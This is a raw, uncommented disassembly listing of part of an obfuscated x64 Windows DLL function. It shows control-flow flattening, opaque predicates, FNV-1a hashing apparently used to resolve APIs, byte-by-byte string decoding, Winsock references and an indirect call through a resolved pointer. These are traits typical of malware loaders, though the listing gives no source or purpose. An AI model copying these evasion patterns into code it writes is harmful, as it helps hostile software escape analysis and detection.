mov dl, 0x67
call fcn.1800988b0
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov byte [rbp + 0xb0], al
mov eax, 0xb545a8c5
nop
cmp eax, 0xb8deccc4
jg 0x1800761c0
cmp eax, 0xa619dca0
je 0x1800761f6
cmp eax, 0xb545a8c5
jne 0x180076120
mov rax, qword [rbp + 0xe0]
movzx ecx, byte [rbp + 0xb0]
mov byte [rax], cl
mov rbx, qword [rbp + 0xe0]
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x43
call fcn.1800988b0
add rsp, 0x20
mov byte [rbx + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x6c
call fcn.1800988b0
add rsp, 0x20
mov byte [rbx + 2], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x6f
call fcn.1800988b0
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov byte [rbx + 3], al
add rbx, 4
mov qword [rbp + 0xf0], rbx
mov byte [rbp + 0xc8], reloc.WS2_32.dll_WSAStartup
mov eax, 0xa619dca0
jmp 0x180076120
cmp eax, 0xb8deccc5
je 0x180077cba
cmp eax, 0xb9b16fe5
jne 0x180076120
mov byte [rdi], 0
add rdi, 1
cmp rdi, qword [rbp + 0x9b8]
mov eax, 0xb9b16fe5
mov ecx, 0xb8deccc5
cmove eax, ecx
jmp 0x180076120
movzx edx, byte [rbp + 0xc8]
sub rsp, 0x20
mov rcx, rsi
call fcn.1800988b0
add rsp, 0x20
mov rcx, qword [rbp + 0xf0]
mov byte [rcx], al
mov rdi, qword [rbp + 0xf0]
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.1800988b0
add rsp, 0x20
mov byte [rdi + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x4b
call fcn.1800988b0
add rsp, 0x20
mov byte [rdi + 2], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.1800988b0
add rsp, 0x20
mov byte [rdi + 3], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x79
call fcn.1800988b0
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov byte [rdi + 4], al
add rdi, 5
mov rax, qword [rbp + 0xd8]
add rax, 0xd
mov qword [rbp + 0x9b8], rax
mov eax, 0xb9b16fe5
jmp 0x180076120
mov dword [rbp + 0xf0], 0x3a
mov ecx, dword [0x180129c98]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edi, 0xbe73cc8d
cmovne edi, r13d
mov r8b, byte [rbp + 0x9b8]
mov ebx, 0x926a4418
cmove ebx, r12d
cmp dword [0x180129c9c], 0xa
cmovl edi, r15d
mov byte [rbp + 0xd8], r8b
cmovl ebx, r12d
mov edx, 0x8bbf196b
nop dword [rax + rax]
cmp edx, 0x926a4417
jle 0x180076320
cmp edx, 0x926a4418
je 0x18007633b
cmp edx, 0xbe73cc8d
je 0x180076349
cmp edx, 0xe39c1de6
jne 0x1800762f0
jmp 0x180077cd8
cmp edx, 0x8bbf196b
je 0x180076350
cmp edx, 0x8f01ddc2
jne 0x1800762f0
movzx ecx, byte [rbp + 0xd8]
mov edx, edi
jmp 0x1800762f0
movzx edx, byte [rbp + 0xd8]
mov edx, 0x8f01ddc2
jmp 0x1800762f0
mov edx, 0xe39c1de6
jmp 0x1800762f0
mov edx, ebx
jmp 0x1800762f0
mov eax, 0x20
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x48], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x68], rax
mov eax, 0x800
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x60], rax
mov eax, 0x800
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x68], rax
mov eax, 0x20
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x40], rax
mov eax, WSAStartup
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x98], rax
mov eax, 0x30
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x90], rax
mov eax, 0x10
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x88], rax
mov eax, 0x20
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x80], rax
mov eax, 0x20
call fcn.1800fab80
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x78], rax
lea rax, [rbp + 0x108]
mov qword [rbp], rax
mov rax, qword [rbp]
lea rax, [rbp + 0xdf0]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
mov rcx, qword [rbp + 0x38]
sub rsp, 0x20
mov r8d, 0x400
xor edx, edx
call fcn.1800fcb10
add rsp, 0x20
lea rax, [rbp + 0x9f0]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov rcx, qword [rbp + 0x30]
sub rsp, 0x20
mov r8d, 0x400
xor edx, edx
call fcn.1800fcb10
add rsp, 0x20
mov qword [rbp + 0xb0], r14
mov rax, qword [rbp + 0xb0]
mov byte [rax], 0x44
mov rsi, qword [rbp + 0xb0]
mov dword [rbp + 0xd8], 0x47
mov qword [rbp + 0xf0], r14
mov ecx, dword [0x180129ca0]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete cl
mov ebx, 0xf18f601f
mov r8d, 0x75847964
cmove ebx, r8d
cmp dword [0x180129ca4], 0xa
cmovl ebx, r8d
setl al
xor dl, al
and cl, al
xor cl, dl
mov edx, 0xff9fb55e
mov r9d, 0xf18f601f
cmovne edx, r9d
mov ecx, 0xabbc78b9
nop dword [rax]
cmp ecx, 0xff9fb55d
jle 0x180076540
cmp ecx, 0x75847964
je 0x18007655e
cmp ecx, 0x64823d8c
je 0x180077d3c
cmp ecx, 0xff9fb55e
jne 0x180076500
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x180076500
cmp ecx, 0xabbc78b9
je 0x180076565
cmp ecx, 0xf18f601f
jne 0x180076500
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180076500
mov ecx, 0x64823d8c
jmp 0x180076500
mov ecx, edx
jmp 0x180076500
mov rax, qword [rbp - 0x48]
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0xd8], rax
mov rcx, qword [rbp + 0xd8]
mov word [rcx], 0xea5a
mov rcx, qword [rbp + 0xd8]
mov dword [rbp + 0xe0], 0x43
movzx edx, word [rax]
mov ebx, 0xeabf51c2
nop dword [rax]
cmp ebx, 0xeabf51c2
je 0x1800765b5
cmp ebx, 0x4bd3432e
jne 0x1800765a0
jmp 0x180077d77
mov ebx, 0x4bd3432e
jmp 0x1800765a0
mov byte [rbp + 0xf0], al
mov al, byte [rbp + 0xf0]
mov ecx, dword [rbp + 0x9b8]
add cl, al
mov byte [rbp + 0x128], cl
mov dword [rbp + 0x9b8], 0x65
mov edi, 0x1e41b6af
nop word cs:[rax + rax]
nop
cmp edi, 0x615460a8
jle 0x180076640
cmp edi, 0x7b913b8f
je 0x180076654
cmp edi, 0x713d3d7d
je 0x180077ddd
cmp edi, 0x615460a9
jne 0x1800765f0
mov eax, 0x9210f659
nop dword [rax]
cmp eax, 0x9210f659
je 0x180076630
cmp eax, 0x8c3c334e
jne 0x180076620
jmp 0x18007665b
mov eax, 0x8c3c334e
jmp 0x180076620
cmp edi, 0x1b714e29
je 0x18007666d
cmp edi, 0x1e41b6af
jne 0x1800765f0
mov edi, edx
jmp 0x1800765f0
mov edi, 0x713d3d7d
jmp 0x1800765f0
mov byte [rbp + 0xf0], 9
mov al, byte [rbp + 0xf0]
mov edi, r10d
jmp 0x1800765f0
mov ecx, 0x9210f659
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x9210f659
je 0x180076692
cmp ecx, 0x8c3c334e
jne 0x180076680
jmp 0x180076699
mov ecx, 0x8c3c334e
jmp 0x180076680
mov byte [rbp + 0xf0], 9
mov cl, byte [rbp + 0xf0]
mov edi, 0x615460a9
jmp 0x1800765f0
mov r10, qword [rbp - 0x70]
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov eax, 0x9302de66
cmovne r8d, eax
mov r9d, 0x7343bfbc
mov eax, 0x181b9de8
cmovne r9d, eax
mov edx, 0x28ad3f39
jmp 0x180076740
mov eax, dword [rbp + 0xd8]
mov rax, qword [rbp + 0x9b8]
mov rax, qword [rbp + 0x9b8]
mov rax, qword [rbp + 0x9b8]
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
mov edx, 0x181b9de8
nop dword [rax + rax]
cmp edx, 0xfe90a09b
jle 0x1800767b0
cmp edx, 0x333d8297
jle 0x180076800
cmp edx, 0x5cca55f4
jg 0x18007687a
cmp edx, 0x333d8298
je 0x18007693d
cmp edx, 0x33ec62ab
je 0x180076956
cmp edx, 0x42d422e5
jne 0x180076740
mov dword [rbp + 0xb0], edi
mov edx, dword [rbp + 0xb0]
movsx edx, byte [r10 + rdx]
mov dword [rbp + 0xec], edx
mov edx, dword [rbp + 0xec]
cmp edx, 0x20
mov edx, 0xbb6ed30e
mov eax, 0xfb306983
cmovge edx, eax
jmp 0x180076740
cmp edx, 0xc5fd57a7
jle 0x180076840
cmp edx, 0xeb000b68
jg 0x1800768aa
cmp edx, 0xc5fd57a8
je 0x180076966
cmp edx, 0xd1e81d16
je 0x180076974
cmp edx, 0xd597d4ff
jne 0x180076740
mov edx, 0x42d422e5
mov edi, dword [rbp + 0xd4]
jmp 0x180076740
cmp edx, 0x12a1b9d7
jle 0x1800768dc
cmp edx, 0x12a1b9d8
je 0x18007698d
cmp edx, 0x181b9de8
je 0x18007699c
cmp edx, 0x28ad3f39
jne 0x180076740
mov edx, 0x73f80f82
jmp 0x180076740
cmp edx, 0xb163ad29
jle 0x18007690e
cmp edx, 0xb163ad2a
je 0x1800769d6
cmp edx, 0xb9d33223
je 0x180076a03
cmp edx, 0xbb6ed30e
jne 0x180076740
mov edx, 0x12a1b9d8
jmp 0x180076740
cmp edx, 0x5cca55f5
je 0x180076a13
cmp edx, 0x7343bfbc
je 0x1800766f7
cmp edx, 0x73f80f82
jne 0x180076740
mov edx, 0x42d422e5
xor edi, edi
jmp 0x180076740
cmp edx, 0xeb000b69
je 0x180076a2c
cmp edx, 0xfb306983
jne 0x180076aa1
mov edx, dword [rbp + 0xec]
cmp edx, 0x7f
setl byte [rbp + 0xc7]
mov edx, 0x333d8298
jmp 0x180076740
cmp edx, 0xfe90a09c
je 0x180076a57
cmp edx, 0x1dd0b01
jne 0x180076740
mov eax, dword [rbp + 0xe8]
cmp eax, 0x5b
setl byte [rbp + 0xa4]
mov edx, 0xd1e81d16
jmp 0x180076740
cmp edx, 0x87cbc1a8
je 0x180076a87
cmp edx, 0x9302de66
jne 0x180076740
mov rcx, qword [rbp + 0xf0]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xb8]
jmp 0x180076740
cmp byte [rbp + 0xc7], 0
mov edx, 0xbb6ed30e
mov eax, 0x5cca55f5
cmovne edx, eax
jmp 0x180076740
mov edx, 0xc5fd57a8
mov ebx, dword [rbp + 0xa8]
jmp 0x180076740
mov dword [rbp + 0xd8], ebx
mov edx, r9d
jmp 0x180076740
cmp byte [rbp + 0xa4], 0
mov edx, 0xb9d33223
mov eax, 0xfe90a09c
cmovne edx, eax
jmp 0x180076740
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r11
jmp 0x180076740
movsxd rax, dword [rbp + 0xd8]
xor rax, qword [rbp + 0x9b8]
movabs rdx, 0x100000001b3
imul rax, rdx
mov qword [rbp + 0xf0], rax
mov eax, dword [rbp + 0xc8]
add eax, 1
mov dword [rbp + 0xb8], eax
mov edx, r8d
jmp 0x180076740
mov dword [rbp + 0xc8], esi
mov qword [rbp + 0x9b8], rcx
mov edx, dword [rbp + 0xb0]
mov eax, dword [rbp + 0xc8]
cmp eax, edx
mov edx, 0xf6d6bd87
mov eax, 0x87cbc1a8
cmovb edx, eax
jmp 0x180076740
mov edx, 0xc5fd57a8
mov ebx, dword [rbp + 0xe8]
jmp 0x180076740
mov edx, dword [rbp + 0xb0]
add edx, 1
mov dword [rbp + 0xd4], edx
mov edx, 0xd597d4ff
jmp 0x180076740
mov rax, qword [rbp + 0xe0]
movsx eax, byte [rax]
mov dword [rbp + 0xe8], eax
mov eax, dword [rbp + 0xe8]
cmp eax, 0x41
mov edx, 0xb9d33223
mov eax, 0x1dd0b01
cmovge edx, eax
jmp 0x180076740
mov eax, dword [rbp + 0xe8]
mov edx, eax
and edx, 0x72963832
or edx, 0x8d414380
and eax, 0x8d69c7ed
xor eax, edx
xor eax, 0x8d4143a0
mov dword [rbp + 0xa8], eax
mov edx, 0x33ec62ab
jmp 0x180076740
mov eax, dword [rbp + 0xc8]
add rax, r10
mov qword [rbp + 0xe0], rax
mov edx, 0xeb000b69
jmp 0x180076740
cmp edx, 0xf6d6bd87
jne 0x180076740
mov rcx, qword [rbp + 0x9b8]
sub rsp, 0x20
call fcn.1800e9be0
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov qword [rbp - 0x78], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp - 0x48], rax
mov eax, 0x2aed2dd4
jmp 0x180074cd0
sub rsp, 0x20
mov r8d, 0x400
lea rcx, [rbp + 0xdf0]
xor edx, edx
call fcn.1800fcb10
mov r8d, 0x400
lea rcx, [rbp + 0x9f0]
xor edx, edx
call fcn.1800fcb10
add rsp, 0x20
mov qword [rbp + 0xb0], r14
mov rax, qword [rbp + 0xb0]
mov byte [rax], 0x44
mov rsi, qword [rbp + 0xb0]
mov dword [rbp + 0xd8], 0x47
mov qword [rbp + 0xf0], r14
mov ecx, dword [0x180129ca0]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete cl
mov ebx, 0xf18f601f
mov r8d, 0x75847964
cmove ebx, r8d
cmp dword [0x180129ca4], 0xa
cmovl ebx, r8d
setl al
xor dl, al
and cl, al
xor cl, dl
mov edx, 0xff9fb55e
mov r9d, 0xf18f601f
cmovne edx, r9d
mov ecx, 0xabbc78b9
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xff9fb55d
jle 0x180076bd0
cmp ecx, 0x75847964
je 0x180076bee
cmp ecx, 0x64823d8c
je 0x180077ed0
cmp ecx, 0xff9fb55e
jne 0x180076b90
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x180076b90
cmp ecx, 0xabbc78b9
je 0x180076bf5
cmp ecx, 0xf18f601f
jne 0x180076b90
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180076b90
mov ecx, 0x64823d8c
jmp 0x180076b90
mov ecx, edx
jmp 0x180076b90
mov eax, 0xf3f356a7
jmp 0x180074cd0
mov rsi, qword [rbp + 0x68]
mov eax, 0x4781555b
jmp 0x180076c30
mov rax, qword [rbp + 0xf0]
mov cl, byte [rbp + 0xa8]
mov byte [rax], cl
mov eax, 0xd4fff29b
mov rdi, qword [rbp + 0xe0]
nop dword [rax]
cmp eax, 0x17e2ecd8
jle 0x180076c70
cmp eax, 0x4781555a
jg 0x180076ca0
cmp eax, 0x17e2ecd9
je 0x180076c0e
cmp eax, 0x3e6ee373
jne 0x180076da3
mov rax, qword [rbp + 0xb0]
add rax, 1
mov qword [rbp + 0xc8], rax
mov eax, 0x1ebcad2e
jmp 0x180076c30
cmp eax, 0xd4fff29a
jg 0x180076cc0
cmp eax, 0x9143d0ba
je 0x180076ce2
cmp eax, 0xc68aded4
jne 0x180076c30
mov byte [rsi + 0xc], 0
mov qword [rbp + 0xb0], rsi
mov eax, 0x3e6ee373
jmp 0x180076c30
cmp eax, 0x4a6c4e55
je 0x180076d05
cmp eax, 0x4781555b
jne 0x180076c30
mov eax, 0xfaa71deb
jmp 0x180076c30
cmp eax, 0xd4fff29b
je 0x180076d63
cmp eax, 0xfaa71deb
jne 0x180076c30
mov eax, 0xd4fff29b
xor edi, edi
jmp 0x180076c30
mov qword [rbp + 0xd8], rsi
mov rax, qword [rbp + 0x9b8]
add rax, 1
mov qword [rbp + 0xe0], rax
mov eax, 0x4a6c4e55
jmp 0x180076c30
mov rax, qword [rbp + 0xd8]
add rax, qword [rbp + 0xe0]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0xf0]
mov bl, byte [rax]
mov ecx, 0x4b5804eb
nop dword [rax + rax]
cmp ecx, 0xf79d680a
je 0x180076d87
cmp ecx, 0x4b5804eb
jne 0x180076d30
sub rsp, 0x20
mov rcx, rsi
mov edx, ebx
call fcn.1800988b0
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov ecx, 0xf79d680a
jmp 0x180076d30
mov qword [rbp + 0x9b8], rdi
mov rax, qword [rbp + 0x9b8]
cmp rax, 0xb
mov eax, 0xc68aded4
mov ecx, 0x9143d0ba
cmovb eax, ecx
jmp 0x180076c30
mov byte [rbp + 0xb8], al
mov al, byte [rbp + 0xb8]
mov byte [rbp + 0xa8], al
mov eax, 0x17e2ecd9
jmp 0x180076c30
cmp eax, 0x1ebcad2e
jne 0x180076c30
mov r10, qword [rbp + 0xc8]
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov eax, 0x9302de66
cmovne r8d, eax
mov r9d, 0x7343bfbc
mov eax, 0x181b9de8
cmovne r9d, eax
mov edx, 0x28ad3f39
jmp 0x180076e40
mov eax, dword [rbp + 0xd8]
mov rax, qword [rbp + 0x9b8]
mov rax, qword [rbp + 0x9b8]
mov rax, qword [rbp + 0x9b8]
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
mov edx, 0x181b9de8
nop dword [rax]
cmp edx, 0xfe90a09b
jle 0x180076eb0
cmp edx, 0x333d8297
jle 0x180076f00
cmp edx, 0x5cca55f4
jg 0x180076f7a
cmp edx, 0x333d8298
je 0x18007703d
cmp edx, 0x33ec62ab
je 0x180077056
cmp edx, 0x42d422e5
jne 0x180076e40
mov dword [rbp + 0xb0], edi
mov edx, dword [rbp + 0xb0]
movsx edx, byte [r10 + rdx]
mov dword [rbp + 0xec], edx
mov edx, dword [rbp + 0xec]
cmp edx, 0x20
mov edx, 0xbb6ed30e
mov eax, 0xfb306983
cmovge edx, eax
jmp 0x180076e40
cmp edx, 0xc5fd57a7
jle 0x180076f40
cmp edx, 0xeb000b68
jg 0x180076faa
cmp edx, 0xc5fd57a8
je 0x180077066
cmp edx, 0xd1e81d16
je 0x180077074
cmp edx, 0xd597d4ff
jne 0x180076e40
mov edx, 0x42d422e5
mov edi, dword [rbp + 0xd4]
jmp 0x180076e40
cmp edx, 0x12a1b9d7
jle 0x180076fdc
cmp edx, 0x12a1b9d8
je 0x18007708d
cmp edx, 0x181b9de8
je 0x18007709c
cmp edx, 0x28ad3f39
jne 0x180076e40
mov edx, 0x73f80f82
jmp 0x180076e40
cmp edx, 0xb163ad29
jle 0x18007700e
cmp edx, 0xb163ad2a
je 0x1800770d6
cmp edx, 0xb9d33223
je 0x180077103
cmp edx, 0xbb6ed30e
jne 0x180076e40
mov edx, 0x12a1b9d8
jmp 0x180076e40
cmp edx, 0x5cca55f5
je 0x180077113
cmp edx, 0x7343bfbc
je 0x180076df8
cmp edx, 0x73f80f82
jne 0x180076e40
mov edx, 0x42d422e5
xor edi, edi
jmp 0x180076e40
cmp edx, 0xeb000b69
je 0x18007712c
cmp edx, 0xfb306983
jne 0x1800771a1
mov edx, dword [rbp + 0xec]
cmp edx, 0x7f
setl byte [rbp + 0xc7]
mov edx, 0x333d8298
jmp 0x180076e40
cmp edx, 0xfe90a09c
je 0x180077157
cmp edx, 0x1dd0b01
jne 0x180076e40
mov eax, dword [rbp + 0xe8]
cmp eax, 0x5b
setl byte [rbp + 0xa4]
mov edx, 0xd1e81d16
jmp 0x180076e40
cmp edx, 0x87cbc1a8
je 0x180077187
cmp edx, 0x9302de66
jne 0x180076e40
mov rcx, qword [rbp + 0xf0]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xb8]
jmp 0x180076e40
cmp byte [rbp + 0xc7], 0
mov edx, 0xbb6ed30e
mov eax, 0x5cca55f5
cmovne edx, eax
jmp 0x180076e40
mov edx, 0xc5fd57a8
mov ebx, dword [rbp + 0xa8]
jmp 0x180076e40
mov dword [rbp + 0xd8], ebx
mov edx, r9d
jmp 0x180076e40
cmp byte [rbp + 0xa4], 0
mov edx, 0xb9d33223
mov eax, 0xfe90a09c
cmovne edx, eax
jmp 0x180076e40
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r11
jmp 0x180076e40
movsxd rax, dword [rbp + 0xd8]
xor rax, qword [rbp + 0x9b8]
movabs rdx, 0x100000001b3
imul rax, rdx
mov qword [rbp + 0xf0], rax
mov eax, dword [rbp + 0xc8]
add eax, 1
mov dword [rbp + 0xb8], eax
mov edx, r8d
jmp 0x180076e40
mov dword [rbp + 0xc8], esi
mov qword [rbp + 0x9b8], rcx
mov edx, dword [rbp + 0xb0]
mov eax, dword [rbp + 0xc8]
cmp eax, edx
mov edx, 0xf6d6bd87
mov eax, 0x87cbc1a8
cmovb edx, eax
jmp 0x180076e40
mov edx, 0xc5fd57a8
mov ebx, dword [rbp + 0xe8]
jmp 0x180076e40
mov edx, dword [rbp + 0xb0]
add edx, 1
mov dword [rbp + 0xd4], edx
mov edx, 0xd597d4ff
jmp 0x180076e40
mov rax, qword [rbp + 0xe0]
movsx eax, byte [rax]
mov dword [rbp + 0xe8], eax
mov eax, dword [rbp + 0xe8]
cmp eax, 0x41
mov edx, 0xb9d33223
mov eax, 0x1dd0b01
cmovge edx, eax
jmp 0x180076e40
mov eax, dword [rbp + 0xe8]
mov edx, eax
and edx, 0x72963832
or edx, 0x8d414380
and eax, 0x8d69c7ed
xor eax, edx
xor eax, 0x8d4143a0
mov dword [rbp + 0xa8], eax
mov edx, 0x33ec62ab
jmp 0x180076e40
mov eax, dword [rbp + 0xc8]
add rax, r10
mov qword [rbp + 0xe0], rax
mov edx, 0xeb000b69
jmp 0x180076e40
cmp edx, 0xf6d6bd87
jne 0x180076e40
mov rcx, qword [rbp + 0x9b8]
sub rsp, 0x20
call fcn.1800e9be0
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov qword [rbp - 0x80], rax
mov eax, 0x77c28c82
jmp 0x180074cd0
mov rax, qword [rbp - 0x18]
lea rbx, [rbp + 0x9a8]
mov qword [rbp + 0xb0], rbx
mov rax, qword [rbp + 0xb0]
mov byte [rax], 0x39
mov rax, qword [rbp + 0xb0]
mov ecx, 0xbb92f901
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x4bfbd828
je 0x180077f17
cmp ecx, 0xbb92f901
jne 0x180077210
mov ecx, 0x9c071d3a
nop dword [rax]
cmp ecx, 0x9c071d3a
je 0x180077242
cmp ecx, 0xe93106a3
jne 0x180077230
jmp 0x180077249
mov ecx, 0xe93106a3
jmp 0x180077230
mov qword [rbp + 0x9b8], rbx
mov rcx, qword [rbp + 0x9b8]
mov cl, byte [rcx]
xor cl, 0x52
mov byte [rbp + 0xf0], cl
mov ecx, 0x4bfbd828
jmp 0x180077210
mov rcx, qword [rbp + 0x108]
sub rsp, 0x20
call fcn.18010820c
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov eax, 0x7fae58be
jmp 0x180074cd0
mov rcx, qword [rbp + 0x100]
mov rax, qword [rbp - 0x80]
sub rsp, 0x20
call rax
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
mov rax, qword [rbp - 0x50]
mov rax, qword [rbp - 0x30]
mov rax, qword [rbp - 0x28]
mov rax, qword [rbp + 0x28]
mov eax, 0x7356c84
jmp 0x180074cd0
mov eax, dword [0x180129ca8]
mov ecx, dword [0x180129cac]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0xb8]
cmp ecx, 0xa
setl byte [rbp + 0xb0]
mov eax, 0xd4ba5a44
nop word cs:[rax + rax]
nop
cmp eax, 0x11a858ac
jg 0x180077330
cmp eax, 0xb5c75a96
je 0x180077391
cmp eax, 0xd4ba5a44
je 0x1800773c1
cmp eax, 0xfbe518eb
jne 0x180077300
jmp 0x180077f89
cmp eax, 0x11a858ad
je 0x1800773e5
cmp eax, 0x18c92d64
je 0x1800773ef
cmp eax, 0x74d5cc57
jne 0x180077300
mov rax, qword [rbp + 0xe0]
mov dword [rbp + 0xd8], WSAStartup
mov edx, 0x5429a614
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xa9452cee
je 0x180077421
cmp edx, 0x5429a614
jne 0x180077370
mov ecx, dword [rbp + 0xd8]
mov edx, 0xa9452cee
jmp 0x180077370
mov dword [rbp + 0xd8], 0x75
mov ecx, 0x5429a614
cmp ecx, 0xa9452cee
je 0x180077461
cmp ecx, 0x5429a614
jne 0x1800773a0
mov eax, dword [rbp + 0xd8]
mov ecx, 0xa9452cee
jmp 0x1800773a0
mov cl, byte [rbp + 0xb8]
cmp byte [rbp + 0xb0], 0
mov eax, 0xb5c75a96
mov edx, 0x18c92d64
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x180077300
mov eax, 0x74d5cc57
jmp 0x180077300
mov dword [rbp + 0xd8], 0x75
mov ecx, 0x5429a614
nop
cmp ecx, 0xa9452cee
je 0x1800774b1
cmp ecx, 0x5429a614
jne 0x180077400
mov eax, dword [rbp + 0xd8]
mov ecx, 0xa9452cee
jmp 0x180077400
mov byte [rbp + 0xc8], cl
mov cl, byte [rbp + 0xc8]
mov byte [rax + 1], cl
mov dword [rbp + 0xd8], 0x74
mov edx, 0x5429a614
nop
cmp edx, 0xa9452cee
je 0x180077501
cmp edx, 0x5429a614
jne 0x180077440
mov ecx, dword [rbp + 0xd8]
mov edx, 0xa9452cee
jmp 0x180077440
mov byte [rbp + 0xc8], al
mov al, byte [rbp + 0xc8]
mov byte [rbp + 0x9b8], al
mov dword [rbp + 0xd8], 0x7b
mov ecx, 0x5429a614
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xa9452cee
je 0x180077541
cmp ecx, 0x5429a614
jne 0x180077490
mov eax, dword [rbp + 0xd8]
mov ecx, 0xa9452cee
jmp 0x180077490
mov byte [rbp + 0xc8], al
mov al, byte [rbp + 0xc8]
mov byte [rbp + 0x9b8], al
mov dword [rbp + 0xd8], 0x7b
mov ecx, 0x5429a614
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xa9452cee
je 0x18007758d
cmp ecx, 0x5429a614
jne 0x1800774e0
mov eax, dword [rbp + 0xd8]
mov ecx, 0xa9452cee
jmp 0x1800774e0
mov byte [rbp + 0xc8], cl
mov cl, byte [rbp + 0xc8]
mov byte [rax + 2], cl
mov dword [rbp + 0xd8], WSAStartup
mov edx, 0x5429a614
nop
cmp edx, 0xa9452cee
je 0x1800775d1
cmp edx, 0x5429a614
jne 0x180077520
mov ecx, dword [rbp + 0xd8]
mov edx, 0xa9452cee
jmp 0x180077520
mov byte [rbp + 0xc8], al
mov al, byte [rbp + 0xc8]
mov byte [rbp + 0x9b9], al
mov dword [rbp + 0xd8], WSAStartup
mov ecx, 0x5429a614
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xa9452cee
je 0x1800775f5
cmp ecx, 0x5429a614
jne 0x180077570
mov eax, dword [rbp + 0xd8]
mov ecx, 0xa9452cee
jmp 0x180077570
mov byte [rbp + 0xc8], al
mov al, byte [rbp + 0xc8]
mov byte [rbp + 0x9b9], al
mov dword [rbp + 0xd8], WSAStartup
mov ecx, 0x5429a614
nop
cmp ecx, 0xa9452cee
je 0x18007763d
cmp ecx, 0x5429a614
jne 0x1800775b0
mov eax, dword [rbp + 0xd8]
mov ecx, 0xa9452cee
jmp 0x1800775b0
mov byte [rbp + 0xc8], cl
mov cl, byte [rbp + 0xc8]
mov byte [rax + 3], cl
add rax, 4
mov qword [rbp + 0xf0], rax
mov eax, 0xfbe518eb
jmp 0x180077300
mov byte [rbp + 0xc8], al
mov al, byte [rbp + 0xc8]
mov byte [rbp + 0x9ba], al
mov dword [rbp + 0xd8], 0x7d
mov ecx, 0x5429a614
nop word cs:[rax + rax]
cmp ecx, 0xa9452cee
je 0x18007768d
cmp ecx, 0x5429a614
jne 0x180077620
mov eax, dword [rbp + 0xd8]
mov ecx, 0xa9452cee
jmp 0x180077620
mov byte [rbp + 0xc8], al
mov al, byte [rbp + 0xc8]
mov byte [rbp + 0x9ba], al
lea rax, [rbp + 0x9bb]
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0xd8], 0x7d
mov ecx, 0x5429a614
nop dword [rax]
cmp ecx, 0xa9452cee
je 0x1800776a9
cmp ecx, 0x5429a614
jne 0x180077670
mov eax, dword [rbp + 0xd8]
mov ecx, 0xa9452cee
jmp 0x180077670
mov byte [rbp + 0xc8], al
mov al, byte [rbp + 0xc8]
mov byte [rbp + 0x9bb], al
mov eax, 0x18c92d64
jmp 0x180077300
mov byte [rbp + 0xc8], al
mov al, byte [rbp + 0xc8]
